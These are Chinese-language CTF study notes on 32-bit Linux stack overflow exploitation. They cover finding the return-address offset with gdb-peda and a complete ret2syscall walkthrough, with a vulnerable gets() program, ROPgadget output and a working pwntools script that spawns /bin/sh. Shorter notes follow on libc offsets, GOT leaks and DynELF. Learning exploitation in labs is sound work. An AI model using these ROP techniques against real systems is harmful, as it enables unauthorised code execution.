0x01
定位返回地址的骚操作
首先用gdb挂起程序后,我们使用peda的辅助功能pattern_create生成一系列的字符串,然后将其输入,因为过长的字符串会导致程序栈溢出,函数会停在返回地址处报错(因为访问了一个错误的地址),因此我们就可以直观地知道返回地址被哪个地方的哪个字符串覆盖了,从而知道buf首地址到返回地址之间的偏移。
gdb-peda$ pattern_create 120
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'
根据缓冲区的大小,来生成一串稍大的字符串,这里随便生成了长120的字符串保证栈溢出。接下来我们运行程序后输入这串字符
gdb-peda$ run
Starting program: /home/vancir/Downloads/example/ret2shellcode/ret2shellcode
No system for you this time !!!
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA
bye bye ~
Program received signal SIGSEGV, Segmentation fault.
这里我们输入了过长字符串,因此程序提示Segmentation fault,这时我们再看程序的EIP
EIP: 0x41384141 ('AA8A')
这时的EIP的值为0x41384141,也就是在返回地址上,因为访问了一个错误的地址,所以停了下来。这时我们只需要查询0x41384141(‘AA8A’)在我们之前生成的串中的偏移
gdb-peda$ pattern_offset 0x41384141
1094205761 found at offset: 112
就这样得到偏移为112,垃圾字符就可以直接填充为:a*112
0x02
什么是ret2syscall
来自:http://vancir.com/2017/08/03/ret2syscall%E6%94%BB%E5%87%BB%E6%8A%80%E6%9C%AF%E7%A4%BA%E4%BE%8B/
命令:ROPgadget --binary level4(文件名) --only "pop|ret"
ret2syscall即return to system call,与ret2text和ret2shellcode类似,即在返回地址处进行系统调用,关于系统调用,可以阅读维基百科上的相关介绍——系统调用Linux 的系统调用通过 int 80h 实现,用系统调用号来区分入口函数。
操作系统实现系统调用的基本过程是:
应用程序调用库函数(API);
API 将系统调用号存入 EAX,然后通过中断调用使系统进入内核态;
内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
系统调用完成相应功能,将返回值存入 EAX,返回到中断处理函数;
中断处理函数返回到 API 中
API 将 EAX 返回给应用程序;
应用程序调用系统调用的过程是:
把系统调用的编号存入 EAX;
把函数参数存入其它通用寄存器;
触发 0x80 号中断(int 0x80)。
Linux System Call Table:
x86: https://www.cs.utexas.edu/~bismith/test/syscalls/syscalls32.html
xx86_64: https://filippo.io/linux-syscall-table/
ret2syscall示例代码
#include#includechar *shell = "/bin/sh";
int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf[100];
printf("This time, no system() and NO SHELLCODE!!!\n");
printf("What do you plan to do?\n");
gets(buf);
return 0;
}
本节示例的漏洞程序可以从此处下载:ret2syscall
漏洞分析
那么我们现在要通过系统调用执行以下命令获得一个shell
execve("/bin/sh", NULL, NULL)
那么很明显,我们需要完成的目标有如下:
获得execve的系统调用号
将execve的系统调用号赋给eax寄存器
将第一个参数”/bin/sh”的地址赋值给ebx寄存器
第二个参数NULL赋值给ecx寄存器
第三个参数NULL赋值给edx寄存器
触发 0x80 号中断(int 0x80)
关于各个函数的系统调用号,我们可以根据这个手册进行查询:Linux Syscall Reference
我们可以查到execve的系统调用号为0x0b,而在系统调用时,eax是存放系统调用号,ebx,ecx,edx分别存放前3个参数,esi存放第4个参数,edi存放第5个参数,而Linux系统调用最多支持5个单独参数。如果实际参数超过5个,那么使用一个参数数组,并且将该数组的地址存放在ebx中。
那么我们如何将参数传递给各个寄存器呢?其实这里是利用到了 ROP(Return-oriented programming) 攻击技术,其实这是一种常见的代码复用技术,通过使用程序已有的机器指令(称之为gadget,注意,是机器指令),来劫持程序控制流。
那么我们接下来就进行演示吧。我通常使用ropgadget来帮助搜索gadgets
首先是控制eax的gadget
➜ ret2syscall ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
这里我们选择使用pop eax ; ret控制eax寄存器
0x080bb196 : pop eax ; ret
同理我们选择了下面这条gadgets,可以一次控制3个寄存器
➜ ret2syscall ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx' | grep 'ecx' | grep 'edx'
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
接下来我们要查询"/bin/sh"以及int 0x80的地址
➜ ret2syscall ROPgadget --binary ret2syscall --string "/bin/sh"
Strings information
============================================================
0x080be408 : /bin/sh
➜ ret2syscall ROPgadget --binary ret2syscall --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc
Unique gadgets found: 4
通常我们gadget的利用方法是address of gadget + param for register,那么接下来我们可以构造对应参数进行系统调用
攻击代码
#encoding:utf-8
from pwn import *
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
bin_sh = 0x080be408
int_0x80 = 0x08049421
payload = 'A' * 112#用以往定位偏移的方法得到
payload += p32(pop_eax_ret) + p32(0x0b)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0x00) + p32(0x00) + p32(bin_sh)
payload +=p32(int_0x80)
io = process('ret2syscall')
io.sendline(payload)
io.interactive()
这样我们就通过控制寄存器传入参数,模拟了系统调用执行execve("/bin/sh", NULL, NULL)的过程
0x03
通过在gdb下的vmmap命令,我们可以看到bss段对应的段具有可执行权限:
0x0804841c 0x08048758 rx-p /home/*****-*-*-*-**-*-*-*-*-*-*-*-*-*
0x08048154 0x080488c4 r--p /home/l*****-*-*-*-**-*-*-*-*-*-*-*-*-*
0x08049f08 0x0804a0e4 rw-p /home/l*****-*-*-*-**-*-*-*-*-*-*-*-*-*
0x04
通过以下命令能查看函数的相关信息
objdump -dj .plt (文件名)
objdump -R (文件名)
0x05
readelf -S level2(文件名),用于查询各个段的名称,地址,大小,偏移量和相应权限等
要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。通过readelf -S level2这个命令就可以获取到bss段的地址了。
#!bash
$ readelf -S level2
There are 30 section headers, starting at offset 0x1148:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
……
[23] .got.plt PROGBITS 08049ff4 000ff4 000024 04 WA 0 0 4
[24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4
[25] .bss NOBITS 0804a020 001020 000008 00 WA 0 0 4
[26] .comment PROGBITS 00000000 001020 00002a 01 MS 0 0 1
……
0x06
有时候,libc文件里面包含了“/bin/sh”或者system函数的地址,而同时也会伴随着开启了函数地址随机化的保护,由此我们需要学会一定的技巧去找到相关的重要信息
首先可以使用“ldd+文件名”的方式查询该文件采用了哪一种libc
使用:strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh" 查询/bin/sh在当前libc下的偏移
如下图所示,该偏移为0x15ba0b,真正的地址为基地址+偏移量
0x07
(from https://ctf-wiki.github.io/ctf-wiki/pwn/stackoverflow/basic_rop/)
shell获取小结¶
这里总结几种常见的获取shell的方式:
一、执行shellcode,这一方面也会有不同的情况
可以直接返回shell
可以将shell返回到某一个端口
shellcode中字符有时候需要满足不同的需求
注意,我们需要将shellcode写在可以执行的内存区域中。
二、执行 system("/bin/sh"), system('sh') 等等
关于 system 的地址,参见下面章节的地址寻找。
关于 "/bin/sh", “sh”
首先寻找 binary 里面有没有对应的字符串,比如说有 flush 函数,那就一定有 sh 了
考虑个人读取对应字符串
libc 中其实是有 /bin/sh 的
优点:只需要一个参数。
缺点:有可能因为破坏环境变量而无法执行。
三、执行 execve("/bin/sh",NULL,NULL)
前几条同 system
优点:几乎不受环境变量的影响。
缺点:需要 3 个参数。
四、系统调用
系统调用号 11
0x08 地址寻找小结¶
(from https://ctf-wiki.github.io/ctf-wiki/pwn/stackoverflow/basic_rop/)
在整个漏洞利用过程中,我们总是免不了要去寻找一些地址,常见的寻找地址的类型,有如下几种
通用寻找¶
直接地址寻找¶
程序中已经给出了相关变量或者函数的地址了。这时候,我们就可以直接进行利用了。
got表寻找¶
有时候我们并不一定非得直接知道某个函数的地址,可以利用GOT表的跳转到对应函数的地址。当然,如果我们非得知道这个函数的地址,我们可以利用write,puts等输出函数将GOT表中地址处对应的内容输出出来(前提是这个函数已经被解析一次了)。
有libc¶
相对偏移寻找,这时候我们就需要考虑利用libc中函数的基地址一样这个特性来寻找了。其实__libc_start_main就是libc在内存中的基地址。注意:不要选择有wapper的函数,这样会使得函数的基地址计算不正确。常见的有wapper的函数有(待补充)。
无libc¶
其实,这种情况的解决策略分为两种
想办法获取libc
想办法直接获取对应的地址。
而对于想要泄露的地址,我们只是单纯地需要其对应的内容,所以puts和write均可以。
puts会有\x00截断的问题
write可以指定长度输出的内容。
下面是一些相应的方法
DynELF¶
前提是我们可以泄露任意地址的内容。
如果要使用write函数泄露的话,一次最好多输出一些地址的内容,因为我们一般是只是不断地向高地址读内容,很有可能导致高地址的环境变量被覆盖,就会导致shell不能启动。
libc数据库¶
## 更新数据库
./get
## 将已有libc添加到数据库中
./add libc.so
## Find all the libc's in the database that have the given names at the given addresses.
./find function1 addr function2 addr
## Dump some useful offsets, given a libc ID. You can also provide your own names to dump../Dump some useful offsets
去libc的数据库中找到对应的和已经出现的地址一样的libc,这时候很有可能是一样的。
libcdb.com
当然,还有https://github.com/lieanu/LibcSearcher。